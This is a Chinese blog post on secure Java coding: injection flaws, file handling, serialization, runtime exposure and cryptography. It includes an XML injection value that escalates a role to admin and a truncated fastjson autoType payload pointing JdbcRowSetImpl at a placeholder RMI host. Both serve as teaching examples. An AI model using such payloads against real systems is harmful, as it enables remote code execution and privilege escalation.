springbootJava web

Java安全开发

2020-09-01  本文已影响0人  文景大大

一、数据校验

数据校验一般分为两种思路:

1.1 SQL注入

避免直接使用不可信的数据来拼接需要执行的SQL语句,这是为了防止原始的SQL被意外地篡改为与预期完全不同语句。通常有以下两种解决方法:

1.2 XML注入

在构造XML的时候,未对用户输入的内容进行校验,很容易构造出非预期的XML内容。比如:

xmlString = "<user><role>employee</role><userid>" + request.getUserId() + "</userid><description>" + request.getDescription() + "</description></user>"
// 输出xmlString构造XML

如上代码构造出来的XML结构应该是这样的:

<user>
  <role>employee</role>
  <userid>123</userid>
  <description>the first employee</description>
</user>

结果,程序没有对入参userId和description进行内容校验,使得用户在其中输入了xml标签内容,比如userId内容为:

123</userid><role>admin</role><userid>123

那么构造出来的XML将会是:

<user>
  <role>employee</role>
  <userid>123</userid>
  <role>admin</role>
  <userid>123</userid>
  <description>the first employee</description>
</user>

某些XML解析器(SAX)在解析时,对于重复的标签内容,后者会覆盖前者,那么原本属于employee角色的123用户,被提权成了admin角色。

对于XML注入的防范通常有如下两种方法:

1.3 日志伪造

如果对用户输入参数没有做校验直接就打印到日志中,那么日志内容就可能被伪造。比如换行,增加了一些严重级别的日志,让日志监控报警,或者让运维人员误以为系统发生了故障等。

1.4 命令注入

尽量避免使用Runtime.exec(parameter)来运行系统命令,如果一定要使用,要做好白名单或者黑名单的校验;

1.5 XSS攻击

将用户输入的内容未经校验就直接返回到前端的html页面,容易造成跨站脚本的执行,从而导致用户cookie的泄露。

解决方法也通常就是黑白名单过滤、替换、转义。

二、IO操作

2.1 及时删除使用完毕的临时文件

临时文件可能会有用户或者系统的敏感信息,开发人员使用完毕后,不予及时删除,那么拥有服务器文件访问权限的人,或者黑客通过服务器漏洞获取服务器文件访问权限后,就有机会泄露敏感数据。

2.2 创建文件时指定合适的访问许可

现代Java在服务器上创建文件的时候就可以同时指定文件的访问权限:

d-rwx-rwx-rwx
分别表示文件类型、文件所有者的权限、文件所属组的权限、其他人的权限

如果一开始没有指定的话,创建的文件很可能就会被别人意外的访问和更改。

2.3 限制上传文件的格式和大小

防止上传恶意的可执行脚本以及压缩炸弹等。

三、序列化与反序列化

3.1 敏感数据的加密和签名

加密是为了保证数据的秘密性,签名是为了保证数据的完整性。

3.2 禁止序列化未加密的敏感数据

主要是防止敏感数据被无意识地序列化导致信息地泄露。通常有两种方案,一种是加密之后再序列化;还有一种是使用transient关键字或者其它序列化方法防止敏感字段被序列化。

3.3 三方库的选择

序列化和反序列化的类库有很多,Java自带的、FastJson、Gason、Jackson等,其中自己在项目中常用的就是fastjson,但是最近fastjson为什么老是爆出漏洞?

这一切都是因为fastjson的autoType特性。什么是AutoType属性?我们举一个例子来说明一下。

@Data
public class Person {
    private String name;
    private Integer age;
}
@Data
public class Student extends Person {
    private Integer grade;
}
@Data
public class School {
    private String name;
    private Person person;
}

对如上School类来说,其中引用的对象Person是一个父类,我们在实例化它的时候给它赋值一个子类Student。

    public static void main(String[] args) {
        School school = new School();
        Student jack = new Student();
        jack.setName("jack");
        jack.setAge(12);
        jack.setGrade(3);
        school.setName("XX高中");
        school.setPerson(jack);

        String result = JSON.toJSONString(school);
        // 序列化结果为:{"name":"XX高中","person":{"age":12,"grade":3,"name":"jack"}}
        log.info("序列化结果为:{}", result);

        School school2 = JSON.parseObject(result, School.class);
        // 反序列化结果为:School(name=XX高中, person=Person(name=jack, age=12))
        log.info("反序列化结果为:{}", school2);
        Person person = school2.getPerson();
        // person为:Person(name=jack, age=12)
        log.info("person为:{}", person);
    }

我们注意到,在序列化的时候,Student子类的类型被抹去了,被父类Person所替代。虽然其仍然拥有子类特有的属性grade,但是在反序列化的时候该属性是不能被赋值到对应的属性上的,因为父类Person没有这个属性。我们也无法获得子类Student。

同样的,我们使用Jackson来实现相同的效果如下:

    public static void main(String[] args) throws JsonProcessingException {
        Student jack = new Student();
        jack.setName("jack");
        jack.setAge(12);
        jack.setGrade(2);
        School school = new School();
        school.setName("XX高中");
        school.setPerson(jack);

        ObjectMapper mapper = new ObjectMapper();
        String result = mapper.writeValueAsString(school);
        log.info("序列化结果为:{}", result);

        //在反序列化时忽略在json中存在但Java对象不存在的属性
        mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
        School school2 = mapper.readValue(result, School.class);
        log.info("反序列化结果为:{}", school2);
        Person person = school2.getPerson();
        log.info("person为:{}", person);
    }

使用Jackson同样无法直接得到Student子类,但是fastjson的autoType特性就可以让我们得到Student子类。

    public static void main(String[] args) {
        School school = new School();
        Student jack = new Student();
        jack.setName("jack");
        jack.setAge(12);
        jack.setGrade(3);
        school.setName("XX高中");
        school.setPerson(jack);

        // autoType默认是关闭的,需要手动开启
        String result = JSON.toJSONString(school, SerializerFeature.WriteClassName);
        // 序列化结果为:{"@type":"*.School","name":"XX高中","person":{"@type":"*.Student","age":12,"grade":3,"name":"jack"}}
        log.info("序列化结果为:{}", result);

        School school2 = JSON.parseObject(result, School.class);
        // 反序列化结果为:School(name=XX高中, person=Student(grade=3))
        log.info("反序列化结果为:{}", school2);
        Person person = school2.getPerson();
        // person为:Student(grade=3)
        log.info("person为:{}", person);
    }

那么为什么autoType会导致漏洞的产生呢?这其实取决于fastjson的序列化和反序列机制,和Gason不同,Gason是基于反射的原理来获取和赋值属性的,fastjson是基于getter和setter方法的。当我们启用autoType的时候,黑客可以篡改json字符串,将其中的@type类改为一些可以远程执行命令的类,比如com.sun.rowset.JdbcRowSetImpl,然后在反序列化的时候利用setter方法,将json字符串中的参数值改为远程的命令,那么就达到了利用服务器远程执行命令漏洞的目的。

下面是一个可能被篡改的json字符串:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://danger:9999/execute".......}

后续版本中,fastjson主要就是默认关闭了autoType开关,并不断地添加黑白名单,黑客总有办法绕过黑白名单,并通过一些其它方法攻击fastjson的这个漏洞。

现在fastjson的漏洞问题可以通过以下三种方法解决:

四、运行环境

4.1 避免包含任何调试入口点

开发者在开发过程中,可能会出于调试的目的在项目中留下了特定的后门代码,这些代码没有必要与应用一起交付生产部署。

public class Test{
  public static void main(String[] args) {
    Person person = new Persion();
    // 一些关于Person类的测试代码
  }
}

这样的调试入口点在生产上是很可能被攻击者利用,使用Test.main()来执行Person类的测试代码的。所以,应该在发布生产前,将这样的代码全部移除。

4.2 避免无认证地暴露后台接口信息及端点信息

诸如此类的springboot插件不允许没有认证措施就允许被访问。

五、其它

5.1 禁止在日志中打印敏感数据

口令、密钥、用户的敏感信息等。

5.2 禁止硬编码敏感信息

任何能够访问到class文件的人都可以反编译发现这些硬编码的敏感信息,同样的,也不能存储在配置文件中。

可以从外部的一个安全的文件夹中获取,或者从某些提供安全信息存储的服务中获取。

5.3 使用安全的加密算法

在使用Hash算法的时候,同样的内容会hash得到同样的值,所以很容易被破解,应该是用盐值:

如上要求的Hash值的产生都是有对应的JDK类库支持的,比如PBKDF2算法,不需要我们手动去实现。

5.4 使用强随机数

java.util.Random产生的是伪随机数序列,不能用于安全敏感的应用,应该是用java.security.SecureRandom类。

六、参考内容

fastjson到底做错了什么?为什么会被频繁爆出漏洞?

上一篇下一篇

猜你喜欢

热点阅读